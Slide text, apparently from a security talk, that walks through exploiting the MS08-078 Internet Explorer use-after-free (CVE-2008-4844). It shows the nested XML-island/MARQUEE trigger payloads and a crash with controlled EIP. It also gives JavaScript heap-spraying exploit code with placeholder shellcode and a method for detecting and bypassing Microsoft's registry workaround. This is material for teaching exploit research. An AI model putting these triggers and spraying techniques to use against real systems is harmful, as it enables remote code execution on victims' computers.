  • 33. <XML ID=I><X><C> &lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt; </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 34. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 35. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 36. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 37. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 38. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE>
  • 39. <XML ID=I><X><C> <IMG SRC= “javascript: </C></X></XML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </MARQUEE> </MARQUEE> mshtml!CXfer::T ransferFromSrc+0x38 EIP = DWORD PTR [ECX+84h] {ECX+84h = 0A0A0A0Ah}
  • 40. Heap-spraying Wikipedia description: “In computer security, heap spraying is a technique used in exploits to facilitate arbitrary code execution.” “In general, code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process' heap and fill the bytes in these blocks with the right values.” A JavaScript library has been created to optimize the exploitation – inspired on: JavaScript Heap Exploitation library by Alexander Sotirov.
  • 41. var obj = new Exploit(); obj.address(address,format) obj.ascii(method,format,size) obj.banner(memory) obj.check(address,shellcode,memory) obj.chunk1mb(block64k) obj.chunk64k(address,shellcode) ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! obj.even(shellcode) obj.heap(block1mb,memory) obj.hexa(address,size) obj.memory(address) obj.random(maximum) obj.shellcode(shellcode,format) obj.spray(address,shellcode,memory)
  • 42. function Inception (){ var ms08_078 = new Exploit(); var choice, memory, address, shellcode, trigger = new String(); ms08_078.offset = [0x0a0a0a0a]; ms08_078.code[1] = “cc cc cc cc”; choice = ms08_078.random(ms08_078.offset.length); memory = ms08_078.memory(ms08_078.offset[choice]); address = ms08_078.address(ms08_078.offset[choice], 0); shellcode = ms08_078.shellcode(ms08_078.code[1], 0); trigger = trigger.concat(“<XML ID=I><X><C>...”); ... if(ms08_078.spray(address, shellcode, memory)) document.getElementById(“b00m”).innerHTML = trigger; }
  • 45. BONUS There is much more ground to be covered...
  • 46. Disable XML island functionality Create a backup copy of the registry keys by using the following command from an elevated command prompt: ... Next, save the following to a file with a .REG extension, such as Disable_XML_Island.reg: Windows Registry Editor Version 5.00 [ - H K E Y _ C L A S S E S _ RO OT C L S I D { 3 7 9 E 5 0 1 F- B 2 3 1 - 1 1 D 1 ADC1-00805FC752D8}] Run Disable_XML_Island.reg with the following command from an elevated command prompt: Regedit.exe /s Disable_XML_Island.reg
  • 47. Bypassing workaround XML Data Source Object 1.0 550DDA30-0541-11D2-9CA9-0060B0EC3D39 XML Data Source Object 3.0 F5078F39-C551-11D3-89B9-0000F81FE221 F6D90F14-9C73-11D3-B32E-00C04F990BB4 T abular Data Control 333C7BC4-460F-11D0-BC04-0080C7055A83
  • 48. var ms08_078 = new Exploit(); var ... automation = new Boolean(false), wshell, hkey = “HKCRCLSID{379E501F-B231-11D1-ADC1-00805FC752D8}”; try{ wshell = new ActiveXObject(“WScript.Shell”); automation = true; } catch(error) { automation = false; } if(automation){ try { wshell.RegRead(hkey); } catch(error) { automation = false; } }
  • 49. CVE description Previous CVE-2008-4844 description: Use-after-free vulnerability in mshtml.dll in Microsoft Internet Explorer 5.01, 6, and 7 on Windows XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008 allows remote attackers to execute arbitrary code via a crafted XML document containing nested SPAN elements, as exploited in the wild in December 2008. Current CVE-2008-4844 description: Use-after-free vulnerability in the CRecordInstance::T ransferT oDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) T abular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.
  • 50. Thank you! ©2011-2013 Nelson Brito. All rights reserved. http://about.me/nbrito